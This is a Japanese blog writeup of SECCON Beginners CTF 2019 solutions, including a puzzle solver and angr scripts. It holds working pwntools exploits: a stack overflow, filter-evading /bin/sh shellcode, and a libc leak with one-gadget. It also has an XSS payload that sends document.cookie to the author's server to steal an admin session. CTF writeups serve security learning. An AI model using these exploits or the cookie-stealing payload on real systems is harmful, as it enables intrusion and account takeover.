SECCON Beginners CTF 2019 writeup

SECCON Beginners CTF 2019

yharima で参加.誰もいないかと思ってたら後輩二人が参加してくれたので3人で.
チームは 3415 pts の 11th, 個人は 2363 pts の 19th. なぜ10位以内に入れないのか….

f:id:yharima:20190526151028p:plain

[warmup] Welcome

IRC 繋ぎに行くだけ.
ctf4b{welcome_to_seccon_beginners_ctf}

memo

最初これが Pwn の warmup だったと思うんだけど途中で変わった…?

入力の長さを受け取って,そのあとその入力を受け付けるだけのプログラム.
objdump すると hidden という関数があって EIP 奪ってこいつに飛ばせば勝ちっぽい.
入力は 0x1f と比較しているので 32 以上を入れないとだめっぽい.
動かしていくと長さ調整すると書き込みスタックのアドレスが変動していくのが観測できた(ローカル GDB 環境).

32: 0x7fffffffe430 =>0x7fffffffe400
64: 0x7fffffffe430 => 0x7fffffffe3e0

戻りアドレスが 0x7fffffffe480 においてあるのでそのように長さを調整すれば良いかと思ったが,
増やしていくと遠ざかっていく.負の長さ入れたらどうなるんだろうと思ったら通ってしまい,スタックの位置が調整できた.
あとは長さを GDB で確認して調整しつつ hidden に飛ばしてあげればいい.
ただ,自分は hidden の先頭アドレスだとローカルでは上がるがリモートでは上がらなかったので,適当にずらしたら動いた.スタックでも壊れてたんだろうか?

from pwn import *

context.arch = 'amd64'
con = remote('133.242.68.223', 35285)

con.recvregex('Input size :')
con.sendline('-96')
con.recvregex('Input Content :')

payload = pack(0x4007c1) * 4
con.sendline(payload)
con.recvline()

con.interactive()

上記を実行すると以下のような感じでフラグがとれる.

(CTF) mbp:CTF yuta1024$ python memo.py
[+] Opening connection to 133.242.68.223 on port 35285: Done
[*] Switching to interactive mode
$ ls -l
total 16
-rw-r----- 1 root memo   27 May 19 11:00 flag.txt
-rwxr-x--- 1 root memo 8632 May 22 16:13 memo
$ cat flag.txt
ctf4b{h4ckn3y3d_574ck_b0f}
$
[*] Interrupted
[*] Closed connection to 133.242.68.223 port 35285

[warmup] Seccompare

動かすと flag を引数にとって動かすらしい.
objdump してみると以下のように露骨にフラグっぽいものが.

  400630:    c6 45 d0 63             mov    BYTE PTR [rbp-0x30],0x63
  400634:   c6 45 d1 74             mov    BYTE PTR [rbp-0x2f],0x74
(snip)
  40069c:   c6 45 eb 7d             mov    BYTE PTR [rbp-0x15],0x7d
  4006a0:   c6 45 ec 00             mov    BYTE PTR [rbp-0x14],0x0

以下のワンラインナーで適当に処理した.

$ objdump -M intel -d seccompare  | grep "mov    BYTE PTR \[rbp-" | awk -F ',' '{print $2}' | xargs -I% perl -e 'print chr(%)'
ctf4b{5tr1ngs_1s_n0t_en0ugh}

[warmup] shellcoder

シェルコードを食わして実行してくれるプログラム.
ただし,制限として "b", "i", "n", "s", "h" が禁止でペイロード長は 0x28 まで.
禁止文字列は基本シェルコードの "//bin/sh" を push するところが問題になるだけなのでそこを4で割ったものを push して後続で調整してあげる方針に(2で割ると偶然禁止文字列にあたってしまうため).
以下のようなシェルコードを書いて動作を確認.

        .intel_syntax noprefix
        .globl _start
_start:
        xor rdx, rdx
        push rdx
        mov rax, 0x1a1ccbcbdb9a588b
        shl rax, 0x02
        or rax, 0x0f
        push rax
        mov rdi, rsp
        push rdx
        push rdi
        mov rsi, rsp
        lea rax, [rdx+59]
        syscall

4倍するより2bit 左 shift するほうが命令列が少ない.末尾は 0xf なので add してもよかったがこれも節約のため 0x0f と or することにした.
これをコンパイルして16進数にしたら,あとはサーバに投げれば以下のようにフラグが取れる.

from pwn import *

context.arch = 'amd64'
con = remote('153.120.129.186', 20000)

shellcode = "\x48\x31\xd2\x52\x48\xb8\x8b\x58\x9a\xdb\xcb\xcb\x1c\x1a\x48\xc1\xe0\x02\x48\x83\xc8\x0f\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05"

con.recvline()
con.sendline(shellcode)

con.interactive()

実行結果は以下.

(CTF) mbp:CTF yuta1024$ python shellcoder.py
[+] Opening connection to 153.120.129.186 on port 20000: Done
[*] Switching to interactive mode
$ ls
flag.txt
shellcoder
$ cat flag.txt
ctf4b{Byp4ss_us!ng6_X0R_3nc0de}

Sliding puzzle

スライドパズルを解くだけのゲーム.
Python でこういうの書くの苦手なので solver は C++ で書いて通信部分だけ Python というキモい構成.
久々に C++ 書いて実装力の低下を感じた.30分ちょっとかかった気がする.

#include <iostream>
#include <fstream>
#include <vector>
#include <queue>
#include <set>
using namespace std;

const int SIZE = 3;
const int dx[] = {0, 1, 0, -1};
const int dy[] = {-1, 0, 1, 0};
const int dm[] = {0, 1, 2, 3};

class State {
public:
 int pos;
 vector<vector<int> > p;
 vector<int> move;

 State(int pos, vector<vector<int> > p, vector<int> move) {
   this->pos = pos;
   this->p = p;
   this->move = move;
 }
};

bool validate(const vector<vector<int> >& p) {
  int prev = -1;
  for (int i = 0; i < SIZE; ++i) {
    for (int j = 0; j < SIZE; ++j) {
      if (prev > p[i][j]) {
        return false;
      }
      prev = p[i][j];
    }
  }
  return true;
}

vector<int> solve(const vector<vector<int> >& p, int pos) {
  queue<State> q;
  q.push(State(pos, p, vector<int>()));

  set<vector<vector<int> > > visited;
  while (!q.empty()) {
    const State s = q.front();
    q.pop();
    visited.insert(s.p);
    if (validate(s.p)) {
      return s.move;
    }

    for (int d = 0; d < 4; ++d) {
      int xx = s.pos % SIZE + dx[d];
      int yy = s.pos / SIZE + dy[d];
      if (xx < 0 || xx >= SIZE || yy < 0 || yy >= SIZE) {
    continue;
      }
      
      vector<vector<int> > pp = s.p;
      swap(pp[s.pos / SIZE][s.pos % SIZE], pp[yy][xx]);
      if (visited.find(pp) == visited.end()) {
        vector<int> mm = s.move;
    mm.push_back(dm[d]);
    int new_pos = yy * SIZE + xx;
    q.push(State(new_pos, pp, mm));
      }
    }
  }
}

int main() {
  int pos = -1;
  vector<vector<int> > p(SIZE, vector<int>(SIZE));
  ifstream ifs("in.txt");
  cin.rdbuf(ifs.rdbuf());
  for (int i = 0; i < SIZE; ++i) {
    for (int j = 0; j < SIZE; ++j) {
      cin >> p[i][j];
      if (p[i][j] == 0) {
     pos = i * SIZE + j;
      }
    }
  }

  vector<int> ans = solve(p, pos);
  for (int i = 0; i < ans.size(); ++i) {
    cout << ans[i] << " ";
  }
  cout << endl;
  return 0;
}

これをコンパイルして,以下の Python プログラムで処理する.

from pwn import *
import subprocess
import sys

con = remote('133.242.50.201', 24912)

for i in range(1000):
    print con.recvline()
    l1 = con.recvline().split(' ')
    print l1
    l2 = con.recvline().split(' ')
    print l2
    l3 = con.recvline().split(' ')
    print l3
    print con.recvline()
    print con.recvline()
    p = [
        l1[1], l1[3], l1[5],
        l2[1], l2[3], l2[5],
        l3[1], l3[3], l3[5],
    ]
    print p
    with open('./in.txt', mode='w') as f:
        f.write(' '.join(p))
    res = subprocess.check_output("./a.out")
    con.sendline(','.join(res.strip().split(' ')))

何問あるかわからんかったので適当に 1000. 100 だとだめだった気がする. これを実行するとフラグが取れる.
ctf4b{fe6f512c15daf77a2f93b6a5771af2f723422c72}

Dump

ダウンロードして file してみると pcap であることがわかる.
Wireshark で開くと HTTP 通信がある.どうやら webshell が置いてあってフラグを引っこ抜いてるらしい.
hexdump -e '16/1 "%02.3o " "\n"' /home/ctf4b/flag のリクエストの応答を抜いてくればよさそう.
ただし,8進数に変換されているので適当にプログラムを書いてゴニョゴニョしてバイナリとして書き出す.
なにかいい方法があるんだろうけど,よくわからんかったので力技でゴミスクリプト書いた(恥ずかしいので載せない).
結局は zip ファイルなので解凍すると jpeg 画像がでてきてその中にフラグが書いてある.
ctf4b{hexdump_is_very_useful

Leakage

パッと見て angr かけたらいけそうと思って以下のどっかで書いた(Google CTF のどれかで angr のサンプルにあったはず)コードを流用して終わり.

import angr
import claripy

proj = angr.Project('./leakage', load_options={"auto_load_libs": False})

input_size = 0x22 # 4005ff
argv1 = claripy.BVS("argv1", input_size * 8)

initial_state = proj.factory.entry_state(args=["./leakage", argv1], add_options={angr.options.LAZY_SOLVES})
initial_state.libc.buf_symbolic_bytes=input_size + 1

for byte in argv1.chop(8):
  initial_state.add_constraints(byte != '\x00') # null
  initial_state.add_constraints(byte >= ' ') # '\x20'
  initial_state.add_constraints(byte <= '~') # '\x7e'

sm = proj.factory.simgr(initial_state)
sm.explore(find=0x4006ae, avoid=0x4006bc)
found = sm.found[0]
solution = found.se.eval(argv1, cast_to=str)
solution = solution[:solution.find("}")+1]
print solution

適当に待ってるとフラグが出る.
ctf4b{le4k1ng_th3_f1ag_0ne_by_0ne}

Linear Operation

これも angr に流すだけのゲームだった.以下のサイトを参考に変更しないといけないところだけ変えた.

angrでシンボリック実行をやってみる - ももいろテクノロジー

import angr

p = angr.Project('./linear_operation', load_options={'auto_load_libs': False})

addr_main = 0x40cee1
addr_succeeded = 0x40cf78
addr_failed = 0x40cf86
print "main = %x" % addr_main
print "succeeded = %x" % addr_succeeded
print "failed = %x" % addr_failed

initial_state = p.factory.blank_state(addr=addr_main)
initial_path = p.factory.path(initial_state)
pg = p.factory.path_group(initial_path)
e = pg.explore(find=(addr_succeeded,), avoid=(addr_failed,))

if len(e.found) > 0:
    print 'Dump stdin at succeeded():'
    s = e.found[0].state
    print "%r" % s.posix.dumps(0)

これもしばらく待ってるとフラグが出る. ctf4b{5ymbol1c_3xecuti0n_1s_3ffect1ve_4ga1nst_l1n34r_0p3r4ti0n}

OneLine

今回一番苦労した問題.もう二度と one-gadget のことは忘れない.

スタック問題ではなく heap が 40 byte 確保されそこに読み書きしている.
そしてなぜかその heap の末尾にリンクされた libc の write のアドレスが書き込まれている.
実行してみるとわかるが,1回目の入力ときに A だけとか入力するとなにか怪しい文字列が表示される.

You can input text here!
>> A
A
����Once more again!

まず A と入力して write のアドレスを拾って,付属されている libc の write の offset を確認して libc base アドレスをリークする.
これで2回目は 32 byte 書き込んだあと,特定のアドレスを書き込むことで libc 内の任意の命令を呼び出せるようになるので,もう勝ったな….という気持ちになってから約5時間溶かしました.
迷走した内容は libc 内の system を呼べばいいが rdi が 1 固定で ROP gadget つんでなんとかするのか,でもスタックがががが,みたいな泥沼です.
結局途中で Linear Operation なども見つつ調べていたら偶然 one-gadget なるものを知った. one-gadget は libc 内にあってその命令に飛ばすとシェルがあがる一連の gadget 列らしい.なんだその便利なものは….
ということで以下を使って付属の libc を探索してみた.

GitHub - david942j/one_gadget: The best tool for finding one gadget RCE in libc.so.6

結果は以下のような感じ.

$ one_gadget ./libc-2.27.so
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

制限があるが, 2つ目は NULL になりそうだなあとおもって採用したらいけた.

from pwn import *

context.arch = 'amd64'

con = remote('153.120.129.186', 10000)
write_offset = 0x110140
system_offset = 0x04f440

con.recvregex('>> ')
con.sendline('A')
msg = con.recvregex('>> ')
libc_base_addr = unpack(msg[32:40]) - write_offset
print "[*] libc_base_addr = 0x%x" % unpack(msg[32:40])

payload = 'A' * 32
payload += pack(libc_base_addr + 0x4f322)  # one gadget
con.sendline(payload)

con.interactive()

実行すると以下のようにフラグをとれる.

(CTF) mbp:CTF yuta1024$ python oneline.py
[+] Opening connection to 153.120.129.186 on port 10000: Done
[*] libc_base_addr = 0x7f91c347e140
[*] Switching to interactive mode
$ ls -l
total 16
-rw-r----- 1 root oneline   34 May 22 15:59 flag.txt
-rwxr-x--- 1 root oneline 8624 May 22 15:59 oneline
$ cat flag.txt
ctf4b{0v3rwr!t3_Func7!on_p0int3r}

Himitsu

後輩がやってて,ちょっと見てたんだけど Pwn で時間溶かしててあまりみれてなかった問題.
最終的に寝てるときに解法が降ってきてそのとおりにやったら解けた.

[#記事ID#] みたいにやると他の記事を読み込める.でもその記事がすでに <script> とか含んでると死ぬ(正確には < とかだけど).
後輩が同時にやったら回避できそうだけど同じタイトルだとエラーになるから無理,みたいな話をしていた.
先に未来の記事 ID を投稿しておいて,その時間になったらスクリプト仕込んだ記事を投稿すると,でクリアできる.
記事 ID 自体は単純に以下のようなロジックで生成されている(タイムゾーンは Asia/Tokyo になってるので注意).

$created_at = date("Y/m/d H:i");
$article_key = md5($username . $created_at . $title)

user は同じなので分までの時間とタイトルさえわかれば予測可能.
以下のような PHP スクリプトを書いて先に未来の記事 ID を予測して投稿する.
(snip になってるのは適当に自身のサーバアドレスとかいれてください)

<?php

date_default_timezone_set("Asia/Tokyo");

$username = "foofoo";
$title = "<script>location.href = 'http://<snip>/?' + document.cookie;</script>";

$created_at = date("2019/05/26 04:37");
$article_key = md5($username . $created_at . $title);

var_dump($article_key);

該当時間になったら(上記の場合だと 4:37 になったら)以下の記事を投稿する.

<script>location.href = 'http://<snip>/?' + document.cookie;</script>

するとサーバに以下のようなリクエストがきて admin の セッション ID を抜ける.

xxx.xxx.xxx.xxx - - [25/May/2019:19:37:20 +0000] "GET /?PHPSESSID=029711d08a7b6b3254b4028959f25d5d HTTP/1.1" 200 3520 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/74.0.3729.157 Safari/537.36" "-"

あとはこのセッション ID をセットして開くとフラグが書かれた記事がみれる.
f:id:yharima:20190526155327p:plain

まとめ

それなりに解けたが,10位以内に入りたかったなあ….Pwn も全部解きたかったなあ…. いろいろ勉強が足りないところがわかったので,頑張っていきたい.あんまり時間ないけど….

f:id:yharima:20190526151033p:plain

追記1

使ったスクリプトgithub に上げるようにした.

github.com

追記2

チームメンバーの writeup を貼っておきます.

kent056-n.hatenablog.com